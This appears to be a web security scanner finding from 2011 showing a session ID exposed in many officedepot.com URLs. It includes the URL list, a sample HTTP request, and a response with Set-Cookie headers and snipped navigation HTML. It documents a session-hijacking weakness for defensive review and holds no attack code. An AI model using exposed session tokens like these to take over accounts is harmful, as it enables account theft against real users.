http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/Refunds.jsp&template=customerService
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/termsofuse.jsp&template=customerService
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/customerservice/termsofuse.jsp&template=customerService#l1
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/misc/delivery.jsp
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/misc/deliveryOptions.jsp
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/backtoschool/5percent.jsp
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/0127_google.jsp
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/0928_recycling.jsp&template=customerservice
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/promo/pages/christopherlowell.jsp
http://www.officedepot.com/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/webcafe/main.jsp
http://www.officedepot.com/storeDetails.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/storelocator/input.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/videogallery;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/virtualcatalog/virtualcatalog.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/account/accountSummaryDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/account/editBillingDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/account/editContactDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?&jtime=1296945586619&jvalidator=0LZRn7nZBtpSf1zW%2FdLvww%3D%3D
https://www.officedepot.com/account/loginAccountDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/account/registrationDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/account/shippingListDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/cart/checkout.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/catalogrequest/catalogRequestDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/customerservice/customerServiceDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/orderhistory/orderHistoryAnonDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/orderhistory/orderHistoryList.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
https://www.officedepot.com/orderhistory/submitReturn.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?searchFromDate=01/06/2011&searchToDate=02/05/2011

Request

GET / HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache,no-store,max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="ALL DEVa TAIa OUR BUS UNI NAV STA PRE" policyref="http://www.officedepot.com/w3c/p3p.xml"
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Date: Sat, 05 Feb 2011 22:39:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b; Path=/
Set-Cookie: jsession_unique_id=1296945586525; Expires=Sun, 06 Feb 2011 00:09:46 GMT; Path=/
Set-Cookie: CU_BRAND=OD; Expires=Tue, 31 Jan 2012 22:39:46 GMT; Path=/
Set-Cookie: IBSD_LOCALE=en_US; Expires=Tue, 31 Jan 2012 22:39:46 GMT; Path=/
Set-Cookie: CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
Set-Cookie: CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
Set-Cookie: CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
Set-Cookie: cae_browser=desktop; path=/; domain=.officedepot.com
Content-Length: 87491

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html class="nojs" xmlns="http://www.w3.org/1999/xhtml" x
...[SNIP]...
<li id="homeLink"><a href="/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Home</a></li>

   <li id="languageSwitch"><a href="/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="dropdown">United States (English)</a>
...[SNIP]...
<div class="brandLogo">
       <a href="/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" id="logo" class=""><img src="http://static.www.odcdn.com/images/us/od/brand.gif" alt="OfficeDepot.com - Taking Care Of Business. Office Supplies, Furniture, Technology & More!" title="OfficeDepot.com - Taking Care Of B
...[SNIP]...
<li id='storeLocator' class="overlayContainer">


                       <a href="/storelocator/input.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" target="_top" class="headingLink"><strong>
...[SNIP]...
<span id="storeLocatorLinks"><a href="/storeDetails.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" id="storeDetailLink" class="">Store Details</a> | <a href="/directions.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Need Directions?</a>
...[SNIP]...
<li id='orderByCatalog' class="overlayContainer">
            <a href="/csl/quickAddBySku.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="headingLink"><strong class="trigger">
...[SNIP]...
<li class=""><a href="/csl/quickAddBySku.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Order by Item #</a>
...[SNIP]...
<li><a href="/virtualcatalog/virtualcatalog.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">View Online Catalog</a>
...[SNIP]...
<li><a href="/a/catalog-request/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b">Request a Catalog</a>
...[SNIP]...
<div class="smCartSummaryDiv printHide">
                       <a href="/specialLinks.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?file=/misc/deliveryOptions.jsp" class="note">$50.00 more for FREE Next Business Day Delivery!*<br/>
...[SNIP]...
<li id='viewCart'>


                                                                    <a href="/cart/shoppingCart.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b"" class="cart" title="View Cart">View Cart</a>
...[SNIP]...
<li id="checkOut">


                                                                                                                                                                                                                       <a href="https://www.officedepot.com/cart/checkout.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b"" class="checkout" title="Checkout">Checkout</a>
...[SNIP]...
<li id="shoppingList">


                           <a href="/csl/listAll.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?&jtime=1296945586551&jvalidator=tWzdWeTAlX4nL5GtBCFc7g%3D%3D" class="accountLogin">Shopping List</a>
...[SNIP]...
<div class="b1">
                       <a href="/cart/shoppingCart.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="button">VIEW CART</a>
...[SNIP]...
<div class="b1">
                           <a href="/csl/saveToListFromCartFlyout.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="button accountLogin">Add To My Shopping List</a>
...[SNIP]...
<div class="b1a">


                               <a href="https://www.officedepot.com/cart/checkout.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b"" class="button" title="Checkout">Checkout</a>
...[SNIP]...
<li class="login">
   <a href="https://www.officedepot.com/account/loginAccountDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b"" id="modalAccountLoginID" class="accountLogin" title="Log in"><strong>
...[SNIP]...
<li class="register"> - 
   <a href="https://www.officedepot.com/account/registrationDisplay.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b"" class="" title="Register">Register</a>
...[SNIP]...
<h1>
       <a href="/a/browse/office-supplies/N=5+1676/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a1"><span>
...[SNIP]...
<p class='section'><a id="v2_navtop_office_supplies" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=12157&redirect=false"><img src="http://static.www.odcdn.com/images/us/od/tiles/od_nav_menu_prvt_tile.gif" height="30" width="372" border="0" alt="Save On Office Depot Brand Products!">
...[SNIP]...
<h4><a href="/a/browse/binders-and-accessories/N=5+2155/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Binders & Accessories</a>
...[SNIP]...
<li><a href="/a/browse/binder-accessories/N=5+2156/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Binder Accessories</a>
...[SNIP]...
<li><a href="/a/browse/binders/N=5+2177/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Binders</a>
...[SNIP]...
<li><a href="/a/browse/indexes-tabs-and-dividers/N=5+2228/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Indexes, Tabs & Dividers</a>
...[SNIP]...
<li><a href="/a/browse/binders-and-accessories/N=5+2155/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/basic-supplies/N=5+1886/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Basic Supplies</a>
...[SNIP]...
<li><a href="/a/browse/clips-pushpins-fasteners-and-rubber-bands/N=5+1935/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Clips, Pushpins, Fasteners & Rubber Bands</a>
...[SNIP]...
<li><a href="/a/browse/message-pads-and-memo-books/N=5+2004/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Message Pads & Memo Books</a>
...[SNIP]...
<li><a href="/a/browse/staplers-staples-and-removers/N=5+2113/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Staplers, Staples & Removers</a>
...[SNIP]...
<li><a href="/a/browse/basic-supplies/N=5+1886/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/cleaning-and-breakroom/N=5+2316/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Cleaning & Breakroom</a>
...[SNIP]...
<li><a href="/a/browse/cleaners-and-disinfectants/N=5+2363/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Cleaners & Disinfectants</a>
...[SNIP]...
<li><a href="/a/browse/food-and-beverage/N=5+2546/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Food & Beverage</a>
...[SNIP]...
<li><a href="/a/browse/paper-products-and-dispensers/N=5+2602/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Paper Products & Dispensers</a>
...[SNIP]...
<li><a href="/a/browse/cleaning-and-breakroom/N=5+2316/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/filing-and-storage/N=5+3469/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Filing & Storage</a>
...[SNIP]...
<li><a href="/a/browse/file-folders/N=5+3545/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">File Folders</a>
...[SNIP]...
<li><a href="/a/browse/hanging-file-folders/N=5+3628/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Hanging File Folders</a>
...[SNIP]...
<li><a href="/a/browse/storage--files-boxes-and-more/N=5+3733/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Storage: Files, Boxes & More</a>
...[SNIP]...
<li><a href="/a/browse/filing-and-storage/N=5+3469/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/paper-forms-envelopes/N=5+4072/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Paper, Forms, Envelopes</a>
...[SNIP]...
<li><a href="/a/browse/business-forms-tax-forms-and-recordkeeping/N=5+4094/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Business Forms, Tax Forms & Recordkeeping</a>
...[SNIP]...
<li><a href="/a/browse/envelopes/N=5+4177/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Envelopes</a>
...[SNIP]...
<li><a href="/a/browse/copy-and-multipurpose-paper-white/N=5+487272/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Copy & Multipurpose Paper (White)</a>
...[SNIP]...
<li><a href="/a/browse/paper-forms-envelopes/N=5+4072/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/pens-pencils-and-markers/N=5+4367/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Pens, Pencils & Markers</a>
...[SNIP]...
<li><a href="/a/browse/markers-and-highlighters/N=5+4467/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Markers & Highlighters</a>
...[SNIP]...
<li><a href="/a/browse/pencils/N=5+4504/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Pencils</a>
...[SNIP]...
<li><a href="/a/browse/pens/N=5+4520/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Pens</a>
...[SNIP]...
<li><a href="/a/browse/pens-pencils-and-markers/N=5+4367/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<li>
               <a href="/a/browse/av-supplies-and-equipment/N=5+1677/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">AV Supplies & Equipment</a>
...[SNIP]...
<li>
               <a href="/a/browse/basic-supplies/N=5+1886/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Basic Supplies</a>
...[SNIP]...
<li>
               <a href="/a/browse/binders-and-accessories/N=5+2155/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Binders & Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/business-cases/N=5+2674/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Business Cases</a>
...[SNIP]...
<li>
               <a href="/a/browse/calendars-and-planners/N=5+2776/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Calendars & Planners</a>
...[SNIP]...
<li>
               <a href="/a/browse/cleaning-and-breakroom/N=5+2316/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Cleaning & Breakroom</a>
...[SNIP]...
<li>
               <a href="/a/browse/custom-printing/N=5+2930/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Custom Printing</a>
...[SNIP]...
<li>
               <a href="/a/browse/desk-and-wall-accessories/N=5+3347/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Desk & Wall Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/executive-gifts/N=5+3415/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Executive Gifts</a>
...[SNIP]...
<li>
               <a href="/a/browse/filing-and-storage/N=5+3469/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Filing & Storage</a>
...[SNIP]...
<li>
               <a href="/a/browse/ink-toner-and-ribbons/N=5+513380/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Ink, Toner & Ribbons</a>
...[SNIP]...
<li>
               <a href="/a/browse/labels-and-label-makers/N=5+3806/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Labels & Label Makers</a>
...[SNIP]...
<li>
               <a href="/a/browse/mailroom-supplies/N=5+3912/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Mailroom Supplies</a>
...[SNIP]...
<li>
               <a href="/a/browse/office-depot-brand-products/N=5+422825/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Office Depot Brand Products</a>
...[SNIP]...
<li>
               <a href="/a/browse/paper-forms-envelopes/N=5+4072/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Paper, Forms, Envelopes</a>
...[SNIP]...
<li>
               <a href="/a/browse/pens-pencils-and-markers/N=5+4367/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Pens, Pencils & Markers</a>
...[SNIP]...
<li>
               <a href="/a/browse/promotional-products/N=5+4581/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Promotional Products</a>
...[SNIP]...
<li>
               <a href="/a/browse/school-supplies/N=5+502600/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">School Supplies</a>
...[SNIP]...
<li>
               <a href="/a/browse/self-stick-notes-and-flags/N=5+6188/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Self-Stick Notes & Flags</a>
...[SNIP]...
<li>
               <a href="/a/browse/tape-and-adhesives/N=5+371557/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Tape & Adhesives</a>
...[SNIP]...
<li>
               <a href="/a/browse/teacher-and-classroom-supplies/N=5+502674/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Teacher & Classroom Supplies</a>
...[SNIP]...
<h2>
       <a href="/a/browse/technology/N=5+9021/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a1"><span>
...[SNIP]...
<h4><a href="/a/browse/computer-accessories/N=5+509547/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Computer Accessories</a>
...[SNIP]...
<li><a href="/a/browse/keyboards-and-mice/N=5+509558/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Keyboards & Mice</a>
...[SNIP]...
<li><a href="/a/browse/laptop-accessories/N=5+509569/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Laptop Accessories</a>
...[SNIP]...
<li><a href="/a/browse/powersurge-protectors/N=5+509579/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Power/Surge Protectors</a>
...[SNIP]...
<li><a href="/a/browse/webcams/N=5+509587/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Webcams</a>
...[SNIP]...
<li><a href="/a/browse/computer-accessories/N=5+509547/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/computers-and-servers/N=5+509612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Computers & Servers</a>
...[SNIP]...
<li><a href="/a/browse/desktop-computers/N=5+509615/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Desktop Computers</a>
...[SNIP]...
<li><a href="/a/browse/laptops/N=5+509617/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Laptops</a>
...[SNIP]...
<li><a href="/a/browse/servers/N=5+510989/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Servers</a>
...[SNIP]...
<li><a href="/a/browse/tablet-pcs/N=5+509621/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Tablet PCs</a>
...[SNIP]...
<li><a href="/a/browse/computers-and-servers/N=5+509612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/data-storage-and-media/N=5+509625/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Data Storage & Media</a>
...[SNIP]...
<li><a href="/a/browse/external-hard-drives/N=5+509636/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">External Hard Drives</a>
...[SNIP]...
<li><a href="/a/browse/internal-hard-drives/N=5+509641/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Internal Hard Drives</a>
...[SNIP]...
<li><a href="/a/browse/media/N=5+509644/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Media</a>
...[SNIP]...
<li><a href="/a/browse/portable-flash-drives/N=5+509664/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Portable Flash Drives</a>
...[SNIP]...
<li><a href="/a/browse/data-storage-and-media/N=5+509625/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/monitors-and-projectors/N=5+509669/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Monitors & Projectors</a>
...[SNIP]...
<li><a href="/a/browse/interactive-whiteboards/N=5+513187/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Interactive Whiteboards</a>
...[SNIP]...
<li><a href="/a/browse/monitor-accessories/N=5+509672/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Monitor Accessories</a>
...[SNIP]...
<li><a href="/a/browse/monitors/N=5+509676/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Monitors</a>
...[SNIP]...
<li><a href="/a/browse/projectors/N=5+509684/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Projectors</a>
...[SNIP]...
<li><a href="/a/browse/monitors-and-projectors/N=5+509669/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/office-machines/N=5+509740/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Office Machines</a>
...[SNIP]...
<li><a href="/a/browse/calculators/N=5+509745/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Calculators</a>
...[SNIP]...
<li><a href="/a/browse/label-makers-and-tapes/N=5+509760/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Label Makers & Tapes</a>
...[SNIP]...
<li><a href="/a/browse/laminating-machines/N=5+509765/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Laminating Machines</a>
...[SNIP]...
<li><a href="/a/browse/shredders/N=5+509777/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Shredders</a>
...[SNIP]...
<li><a href="/a/browse/office-machines/N=5+509740/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<h4><a href="/a/browse/printers-scanners-copiers-faxes/N=5+509833/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="nav_a2">Printers, Scanners, Copiers, Faxes</a>
...[SNIP]...
<li><a href="/a/browse/all-in-ones/N=5+509834/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">All-In-Ones</a>
...[SNIP]...
<li><a href="/a/browse/inkjet-printers/N=5+509855/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Inkjet Printers</a>
...[SNIP]...
<li><a href="/a/browse/laser-printers/N=5+509857/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Laser Printers</a>
...[SNIP]...
<li><a href="/a/browse/wide-format-printers/N=5+509875/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Wide-Format Printers</a>
...[SNIP]...
<li><a href="/a/browse/printers-scanners-copiers-faxes/N=5+509833/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="see_all">See all</a>
...[SNIP]...
<li>
               <a href="/a/browse/audio-and-video-electronics/N=5+509401/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Audio & Video Electronics</a>
...[SNIP]...
<li>
               <a href="/a/browse/cameras-and-camcorders/N=5+509515/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Cameras & Camcorders</a>
...[SNIP]...
<li>
               <a href="/a/browse/computer-accessories/N=5+509547/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Computer Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/computer-parts-and-upgrades/N=5+509589/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Computer Parts & Upgrades</a>
...[SNIP]...
<li>
               <a href="/a/browse/computers-and-servers/N=5+509612/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Computers & Servers</a>
...[SNIP]...
<li>
               <a href="/a/browse/data-storage-and-media/N=5+509625/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Data Storage & Media</a>
...[SNIP]...
<li>
               <a href="/a/browse/ink-toner-and-ribbons/N=5+509666/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Ink, Toner & Ribbons</a>
...[SNIP]...
<li>
               <a href="/a/browse/monitors-and-projectors/N=5+509669/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Monitors & Projectors</a>
...[SNIP]...
<li>
               <a href="/a/browse/networking-and-cables/N=5+509688/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Networking & Cables</a>
...[SNIP]...
<li>
               <a href="/a/browse/office-machines/N=5+509740/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Office Machines</a>
...[SNIP]...
<li>
               <a href="/a/browse/phones-and-accessories/N=5+509793/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Phones & Accessories</a>
...[SNIP]...
<li>
               <a href="/a/browse/power-protection-and-batteries/N=5+509475/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Power Protection & Batteries</a>
...[SNIP]...
<li>
               <a href="/a/browse/printers-scanners-copiers-faxes/N=5+509833/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Printers, Scanners, Copiers, Faxes</a>
...[SNIP]...
<li>
               <a href="/a/browse/software-and-books/N=5+509895/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Software & Books</a>
...[SNIP]...
<li>
               <a href="/a/browse/warranties-and-services/N=5+509880/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b" class="">Warranties & Services</a>
...[SNIP]...
<p><a id="v2_nav_technology_1" href="/adRedir.do;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b?ciid=15084&redirect=false">Save up to $30 on Fellowes.. cross cut shredders</a>
...[SNIP]...
